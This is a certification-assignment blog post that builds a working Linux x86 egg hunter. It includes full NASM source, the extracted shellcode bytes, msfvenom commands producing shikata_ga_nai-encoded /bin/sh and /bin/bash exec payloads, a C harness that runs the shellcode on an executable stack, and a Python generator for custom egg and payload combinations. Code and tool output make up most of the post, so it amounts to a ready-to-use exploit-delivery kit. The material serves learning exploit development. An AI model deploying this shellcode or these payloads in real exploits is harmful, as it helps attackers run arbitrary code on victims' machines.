This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1046
Assignment: Study the Egg Hunter shellcode. Create a working demo of the egg hunter and make it easy configurable for different payloads.
Prestudy
The egg hunter is a piece of code that will search for an egg (a unique set of bytes) in memory and then execute a payload. This is a neat way to execute shellcode without knowing the exact address where it resides. Since this is not a post about exploitation the PoC will be a C-program that contains 2 variables with shellcode. Pretty much the hunter and the egg. There’s a pretty cool egg hunter in this paper that we’ll use. The reason is that this specific hunter will not crash if it reaches unallocated memory. It does this by first using the access syscall to validate the process-relative memory addresses. Cool!
In /usr/include/i386-linux-gnu/asm/unistd_32.h we learn that the access syscall is 33.
Syntrax: int access(const char *pathname, int mode);
The return value we need to avoid is EFAULT (0xf2), which represents: pathname points outside your accessible address space.
Nasm
Let’s type out the updated version of the PoC from the mentioned pdf.
; Filename: egghunter.nasm
; Author: Alex
; SLAE-ID: SLAE-1046
; Reference: http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
; Website: http://0xdeadcode.se
;
; Purpose: Assignment 3 - SLAE Exam
; Egghunter
global _start
section .text
_start:
xor edx, edx
next_page:
or dx, 0xfff ; set dx to 4095
next_address:
inc edx ; inc dx to 4096 (PAGE_SIZE)
lea ebx, [edx+0x4] ; load 0x1004 into ebx
push byte +0x21 ; 0x21 is dec 33, the syscall for access
pop eax ; put syscall value into eax
int 0x80 ; syscall
cmp al, 0xf2 ; check if return value is EFAULT (0xf2)
jz next_page ; if so, jump back to next_page label
mov eax, 0x50905090 ; put our unique egg value in eax
mov edi, edx
scasd ; search for first part of egg
jnz next_address
scasd ; search for second part of egg
jnz next_address
jmp edi ; jump to egg payload
Like usual let’s assembly, link and then make sure there’s no null bytes in the program.
Shellcode
Sweet, everything looks good so far. Thanks to this great one-liner we can extract the shellcode and put it into a C program.
objdump -D ./egghunter|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x90\x50\x90\x50\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7"
So, the first part of creating the egg hunter is done. Now we need to generate a payload and put that along with the egg hunter in a C program. That will do as our final PoC. We’ll create a payload that will execute /bin/sh for us with msfvenom. Msfvenom will automatically fix null bytes by appending -b \x00 (bad chars to avoid). There’s a ton of different encoders but let’s just go with shikata ga nai.
msfvenom -p linux/x86/exec CMD=/bin/sh -f c --arch x86 --platform linux -b \x00
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 70 (iteration=0)
x86/shikata_ga_nai chosen with final size 70
Payload size: 70 bytes
Final size of c file: 319 bytes
unsigned char buf[] =
"\xbd\xea\xfb\x87\x4a\xda\xdb\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
"\x0b\x31\x6a\x15\x03\x6a\x15\x83\xea\xfc\xe2\x1f\x91\x8c\x12"
"\x46\x34\xf5\xca\x55\xda\x70\xed\xcd\x33\xf0\x9a\x0d\x24\xd9"
"\x38\x64\xda\xac\x5e\x24\xca\xa7\xa0\xc8\x0a\x97\xc2\xa1\x64"
"\xc8\x71\x59\x79\x41\x25\x10\x98\xa0\x49";
Ontop of this we will need to append our egg twice (remember that the check for the egg is performed twice in the egg hunter). The final payload looks like this
unsigned char buf[] =
"\x90\x50\x90\x50\x90\x50\x90\x50" // this is our egg
"\xbd\xea\xfb\x87\x4a\xda\xdb\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1" // the exec /bin/sh payload
"\x0b\x31\x6a\x15\x03\x6a\x15\x83\xea\xfc\xe2\x1f\x91\x8c\x12"
"\x46\x34\xf5\xca\x55\xda\x70\xed\xcd\x33\xf0\x9a\x0d\x24\xd9"
"\x38\x64\xda\xac\x5e\x24\xca\xa7\xa0\xc8\x0a\x97\xc2\xa1\x64"
"\xc8\x71\x59\x79\x41\x25\x10\x98\xa0\x49";
Now, let’s put it all into a C program and try it out.
#include<stdio.h>
#include<string.h>
unsigned char hunter[] = \
"\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee"
"\xb8\x90\x50\x90\x50\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7";
unsigned char egg[] = \
"\x90\x50\x90\x50\x90\x50\x90\x50" // this is our egg
"\xbd\xea\xfb\x87\x4a\xda\xdb\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1" // the exec /bin/sh payload
"\x0b\x31\x6a\x15\x03\x6a\x15\x83\xea\xfc\xe2\x1f\x91\x8c\x12"
"\x46\x34\xf5\xca\x55\xda\x70\xed\xcd\x33\xf0\x9a\x0d\x24\xd9"
"\x38\x64\xda\xac\x5e\x24\xca\xa7\xa0\xc8\x0a\x97\xc2\xa1\x64"
"\xc8\x71\x59\x79\x41\x25\x10\x98\xa0\x49";
main()
{
printf("Hunter Length: %d\n", strlen(hunter));
printf("Egg Length: %d\nHunting the egg...\n", strlen(egg));
int (*ret)() = (int(*)())hunter;
ret();
}
Let’s compile and execute!
gcc -fno-stack-protector -zexecstack shellcode.c -o hunter
Beautiful!
Making stuff easy
I made a python script that takes two arguments. Argument one should contain the egg inside brackets (“\x11\x22\x33\x44” for example) and the second should contain the payload in an equal way. I decide on using the egg “\x11\x22\x33\x44” and generating a new payload with msfvenom. This time I settled on executing /bin/bash.
msfvenom -p linux/x86/exec CMD=/bin/bash -f c --arch x86 --platform linux -b \x00
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 72 (iteration=0)
x86/shikata_ga_nai chosen with final size 72
Payload size: 72 bytes
Final size of c file: 327 bytes
unsigned char buf[] =
"\xdb\xdc\xbe\x1b\x04\x56\x33\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x0c\x31\x72\x18\x03\x72\x18\x83\xea\xe7\xe6\xa3\x59\x1c\xbf"
"\xd2\xcc\x44\x57\xc8\x93\x01\x40\x7a\x7b\x62\xe7\x7b\xeb\xab"
"\x95\x12\x85\x3a\xba\xb7\xb1\x36\x3d\x38\x42\x69\x5f\x51\x2c"
"\x5a\xfd\xc0\xc3\xcc\x01\x54\x77\x85\xe3\x97\xf7";
Great, we got our arguments. Here’s how the python script looks like.
#!/usr/bin/env python2
from sys import argv
egg = argv[1]
payload = argv[2]
if len(argv) != 3:
print 'Usage: ./port.py "\\xDE\\xAD\\xDE\\xAD" "\\xPA\\xYL\\xOA\\xDG\\xOES\\xHE\\xRE"'
print 'Note how the first argument is the egg and second the payload.'
print 'Note how the egg must be a repetition of 2 bytes'
quit()
print '\nEgg hunter builder'
print 'Egg: %s' % egg
print 'Payload: %s' % payload
code = '''
#include
#include
unsigned char hunter[] = \
"\\x31\\xd2\\x66\\x81\\xca\\xff\\x0f\\x42\\x8d\\x5a\\x04\\x6a"
"\\x21\\x58\\xcd\\x80\\x3c\\xf2\\x74\\xee\\xb8'''
code += '%s"' % egg
code += '''
"\\x89\\xd7\\xaf\\x75\\xe9\\xaf\\x75\\xe6\\xff\\xe7";
unsigned char egg[] = \
'''
code += '"%s"\n' % egg*2
code += '"%s";\n' % payload
code += '''
main()
{
printf("Hunter Length: %d\\n", strlen(hunter));
printf("Egg Length: %d\\nHunting the egg...\\n", strlen(egg));
int (*ret)() = (int(*)())hunter;
ret();
}
'''
print 'Writing code to shellcode-pygen.c'
f = open('shellcode-pygen.c', 'w')
f.write(code)
f.close
Let’s execute and run!
Github Links
Shellcode.c
Shellcode-pygen.c
Egghunter.nasm
Port.py
Leave a Reply